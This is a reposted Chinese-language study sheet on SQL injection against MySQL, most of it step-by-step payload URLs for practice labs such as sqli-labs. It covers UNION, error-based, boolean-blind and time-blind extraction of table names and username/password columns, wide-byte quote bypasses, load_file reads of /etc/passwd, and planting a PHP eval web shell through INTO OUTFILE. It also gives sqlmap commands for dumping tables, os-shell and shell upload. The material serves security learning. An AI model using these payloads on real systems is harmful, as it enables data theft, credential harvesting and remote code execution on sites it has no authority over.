SQL注入相關知識整理


SQL注入相關知識整理

SQL注入基礎

什么是SQL注入 

SQL注入(Sql Injection )

是一種將SQL語句插入或添加到應用(用戶)的輸入參數中的攻擊

這些參數傳遞給后台的SQL數據庫服務器加以解析並執行

哪里存在SQL注入?

  • GET
  • POST
  • HTTP頭部注入
  • Cookie注入

任何客戶端可控,傳遞到服務器的變量,並且和數據庫進行交互,都有可能存在sql注入。

SQL注入的分類

根據SQL數據類型分類

  • 整型注入
  • 字符串類型注入

根據注入的語法分類

  • UNION query SQL injection(可聯合查詢注入)
  • Error-based SQL injection(報錯型注入)
  • Boolean-based blind SQL injection(布爾型注入)
  • Time-based blind SQL injection(基於時間延遲注入)
  • Stacked queries SQL injection(可多語句查詢注入)

如何去判斷SQL注入漏洞

  • and 1=1 / and 1=2 回顯頁面不同(整形判斷)
  • 單引號判斷 ‘ 顯示數據庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷)
  • \ (轉義符)
  • -1/+1 回顯下一個或上一個頁面(整型判斷)
  • and sleep(5) (判斷頁面返回時間)

MySQL數據庫的特性

MySQL中3種注釋風格

  • # (url編碼為%23)
  • – (–后邊要跟上一個或多個空格 --+)
  • /* … */
  • /*! … */ 內聯注釋

MySQL函數利用

常用函數

  • user()
  • database()
  • @@version
  • session_user()
  • @@basedir
  • @@datadir
  • @@version_compile_os

。。。。。

load_file( )函數 讀文件操作

前提

  • 知道文件絕對路徑
  • 能夠使用union查詢
  • 對web目錄有寫權限
  • UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
  • UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

into outfile( )寫文件操作

前提

  • 文件名必須全路徑(絕對路徑),
  • 用戶必須有寫文件的權限
  • 沒有對 ‘ 引號過濾

SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’

連接字符串函數

  • concat(str1,str2)
  • concat_ws(separator, str1,str2…)
  • group_concat(str1,str2…)

MySQL中information_scheme庫

SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

MySQL中UNION規則

  • UNION必須由兩條或兩條以上的SELECT語句組成,語句之間用關鍵字UNION分隔
  • UNION中的每個查詢必須包含相同的列。
  • UNION會從查詢結果集中自動去除了重復行。

UNION query SQl injection

利用前提

頁面上有顯示位

優點:
方便、快捷、易於利用
缺點:
需要顯示位

步驟
判斷列數

order by 10
order by 20
order by 15

判斷顯示位

url?id=-1 union select 1,2,3,4,5

獲取當數據庫名稱和當前連接數據庫的用戶

url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5

數據庫例舉

列出所有數據庫

limit 一個一個打印出來庫名

select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

group_concat 一次性全部顯示

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

列出(數據庫:test)中所有的表

limit 一個一個打印出來字段名

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1

group_concat 一次性全部顯示

select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374

注意:數據庫名稱可以用十六進制來代替字符串,這樣可以繞過單引號的限制。

列出(數據庫:test 表:admin )中所有的字段

limit 一個一個打印出來

select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1

group_concat 一次性全部顯示

select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

列出(數據庫:test 表:admin )中的數據

limit 一個一個打印出來

select username,passwd from test.admin limit 0,1

group_concat 把 一次性全部打印

select group_concat(concat(username,0x20,passwd)) from test.admin
network

SQL注入實戰

mysql手工注入方法

?id=1%df’(測試是否存在注入,報錯則存在) ?id=1%df’-- -(注釋后面多余的’limit 0,1 頁面正常)
?id=1%df’order by n-- -(order測試字段長度,報錯則說明超出最大長度)
?id=-1%df’union select 1,2,3-- -
?id=-1%df’union select 1,2,database()-- -(在頁面回顯出當前的數據庫名字)
?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出當前數據庫的所有表)
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ (爆出目標表的列名) ?id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目標列的字段名字)

mysql手工注入命令順序

http://219.153.49.228:48120/new_list.php?id=1 首先嘗試id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- - 假如是id=1' and 1=1-- - 那么and 1=1 就是我們可控的點 接下來在這個位置進行替換就好
 http://219.153.49.228:48120/new_list.php?id=1' order by 4-- - 判斷字段個數 讓id查詢不到 顯示我們的union select的值 且union select 后的數字遵循order by 判斷的值 http://219.153.49.228:48120/new_list.php?id=-1' union select 1,2,3,4-- -
 查詢當前數據庫 http://219.153.49.228:48120/new_list.php?id=-1 union select 1,database(),3,4-- - http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- - (注入出表名)
 http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"-- -(注入出列名)
 http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member-- -(注入出字段值)

報錯注入

注出所有表 http://test ?id=1' and (select 1 from (select count(*),concat(((select (schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - http://test?id=2' 
and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
 當前數據庫 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(database(),';'))),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - 當前數據庫的表 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
 列名 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='users' limit 5,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
報字段 http://test ?id=2
' and (select 1 from (select count(*),concat(((select concat(password,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
報錯注入
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- -

http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -

http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -

布爾注入

布爾盲注 步入正題~看到網址加單引號 http://localhost/control/sqlinject/bool_injection.php?id=1' 發現頁面變了,然后我們就根據頁面的變化來判斷我們執行的語句是否正確。 然后構造' or 1=1%23 http://localhost/control/sqlinject/bool_injection.php?id=1' or 1=1%23 發現頁面又變正常了,注入點就在這了。接下來從1開始判斷字段個數 http://localhost/control/sqlinject/bool_injection.php?id=1' order by 3%23 在3時頁面發生了變化,得出字段個數為2。然后利用left()函數判斷測試出當前數據庫名字,可以先判斷當前數據庫名字長度(可有可無,不過這樣心里有底) http://localhost/control/sqlinject/bool_injection.php?id=1' and length(database())>4%23 就是這樣一步一步測試看頁面是否發生變化,測試出長度為5 http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),1)>'a' %23 調整字符和大於號小於號來判斷數據庫第一個字符是什么,機智的你想到了二分法能較快定位出第一個字符,結果是’w‘。 那第二個字符怎么判斷出來呢?改一下數字?對 但后面得加一個測試字符 http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),2)>'wa' %23 最后得出當前數據庫名字:webug 心思縝密的你說萬一flag不在當前數據庫呢,或者我想要其他的數據庫的名字呢?別着急,先爆這個當前數據庫里面的表 http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>98%23 這是在定位webug里第一個表第一個字符,那怎么判斷第二個字符呢? 就是修改為substr(***,2,1) 機智的你那么也就想到了判斷第二個表的方法 limit 1,1 爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test 到這里爆所有數據庫名字的方法也就清晰了 http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23 /************************************************************************************** 我毫不猶豫選擇了爆flag這個表(大聲哭泣) http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100%23 flag表里面有id flag 那flag里面一定有我想要的(信心滿滿) http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23 我嘗試修改 limit 1,1報錯 id=2也報錯 憑借着力大出跡爆出來:dfafdasfafdsadfa 好熟悉的內容這不就是第一關的flag嗎?提交后顯示錯誤,后來我看了數據庫內容發現flag里就一條內容。。。 也就說真正的flag在其他表里

(寬字節注入)大碗寬面

大碗寬面 mysql手工注入方法 以查找書籍頁面為例,post一個name=1給后端,拼接到sql語句select * from books where bookid =‘$id’limit 0,1; ?id=1’(測試是否存在注入,報錯則存在) ?id=1-- -(注釋后面多余的’limit 0,1 頁面正常)
?id=1order by n-- -(order測試字段長度,報錯則說明超出最大長度)
?id=-1union select 1,2,3-- -
?id=-1union select 1,2,database()-- -(在頁面回顯出當前的數據庫名字)
?id=-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出當前數據庫的所有表)
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ (爆出目標表的列名) ?id=0‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目標列的字段名字) http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,database()--%20- http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20- notice,stormgroup_member 爆表名的時候要進行hash編碼 id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572-- -

盲注

猜測數據庫 ?id=1' and length(database())=8-- - id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0 在a-z之間 id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0 id=1' and left(database(),2)>'sa'-- -
 猜測表 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n a是從0開始第幾個表,b是為第幾個字符,n是ASCII所對應的十進制數 第一個表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 第二個表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101 判斷user表 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23 爆出字段 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -

時間盲注和union查詢

http://localhost/Tkitn/sqlitest/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- - if(length(database())>=8,sleep(5),1)-- - 判斷長度 ?id=1' and if(length(database())>=8,sleep(5),1)-- - 數據庫

if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)(表名) http://localhost/Tkitn/sqlilabs/Less-2/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"-- - http://localhost/Tkitn/sqlilabs/Less-2/?id=-1' union select 1,2,group_concat(concat_ws("-",username,password)) from users-- -

延時注入

猜測sql為: select * from table where id = $id+(后面可能有的限制語句或嵌套查詢語句等等,因此我都習慣在注入語句后面跟注釋符屏蔽這些可能的干擾) 標題是延時注入,那么首先想到的就是用sleep()函數來讓頁面延時打開,進而判斷出延時注入點。 假設$id為數字型: url?id=1 and sleep(1) %23,無反應 假設$id為字符型: 括號:url?id=1) and sleep(1) %23,無反應 雙引號:url?id=1" and sleep(1) %23,無反應 單引號:url?id=1' and sleep(1) %23,有反應了,頁面有明顯的延遲 至此,延時注入點就找到了,我們就可以利用它來獲取我們想要的信息了。 比如用戶名長度 url?id=1' and sleep(if(length(user())<15,0,3)) %23 url?id=1' and sleep(if(length(user())<15,0,3)) %23 比如操作系統名 url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23 以上只是說明思路,具體用哪種函數並不重要,不過還是介紹下常用的幾種函數: sleep() //等待一定時間后執行SQL語句,單位為秒,如sleep(3)為等待3秒 if(條件,true,false) //條件為真返回true值,否則返回false值,如if(a=b,0,5)為如果a等於b則返回0,否找返回5。常用條件:=<<=>>= length(str) //返回長度 mid(str,start,length) //截取字符串,從1開始,0以及超過長度部分返回NULL ord(str) //返回字符串第一個字符的 ASCII 值。

注入讀文件 寫shell操作

 

檢驗:less32

改mysql.ini配置
secure-file-priv=

sqlmap讀文件
sqlmap -u "http://192.168.43.43/sqli-labs-master/Less-1/?id=1" --file-read "C:\phpstudy_pro\WWW\2.php"

sqlmap --os-shell
選擇 4(PHP)
選擇 2(custom location(s))
網站根目錄C:/phpstudy_pro/WWW/

sqlmap 寫shell
sqlmap -u "url" --file-write ~/Desktop/shellTT.php --file-dest C:/phpstudy_pro/WWW/shellxbw.php

手工寫shell
http://192.168.43.43/sqli-labs-master/Less-1/?id=1' union select 1,'<?php eval($_POST[a]);?>',3 INTO OUTFILE 'C:/phpstudy_pro/WWW/99.php'-- -

手工讀文件
http://192.168.43.43/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("C:/phpstudy_pro/WWW/2.php"),3-- -

less-7 也是讀文件

 

利用sqlmap的SQL注入實驗

SQL注入就是通過把SQL(Structured Query Language,結構化查詢語言)命令插入到提交的Web表單或輸入域名或頁面請求的查詢字符串中,達到欺騙服務器執行惡意的SQL命令的目的。

對於一個存在數據庫安全漏洞的網站,SQL注入攻擊一般通過構建特殊的輸入作為參數傳入Web應用程序,使得構造的SQL語句能夠在服務器端執行,進而得到攻擊者所要的結果,而不是按照設計者意圖去執行SQL語句。系統受到SQL注入攻擊的主要原因是程序沒有細致地過濾用戶輸入的數據,直接將提交的參數拼接到SQL語句中解析,導致特殊構造的SQL語句可以在服務器端被執行。

sqlmap是一個由Python語言開發的自動化SQL注入工具,其主要功能是掃描、發現並利用給定的URL的SQL注入漏洞。sqlmap常用的注入方法有以下幾種:

  1. 基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入;
  2. 基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;
  3. 基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中;
  4. 聯合查詢注入,可以使用union的情況下的注入;
  5. 堆查詢注入,可以同時執行多條語句的執行時的注入。
輸入“python sqlmap.py --version”檢查sqlmap是否安裝成功
輸入“python sqlmap.py -hh”, “-hh”參數用於查看sqlmap的使用說明
輸入“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”參數用於指定注入點的URL。
輸入“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中參數“--dbs”用於列舉數據庫。
輸入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中參數“-D”用於指定數據庫名稱,“--tables”參數用於列舉表。
輸入“python sqlmap.py -u "http:// 192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中參數“-T”用於指定表名稱,“--columns”參數用於指定列出表中字段。
輸入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中參數“-C”用於指定字段名稱,參數“—dump”用於導出數據。
--os-shell
--file-read "/user/www/flag.php


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM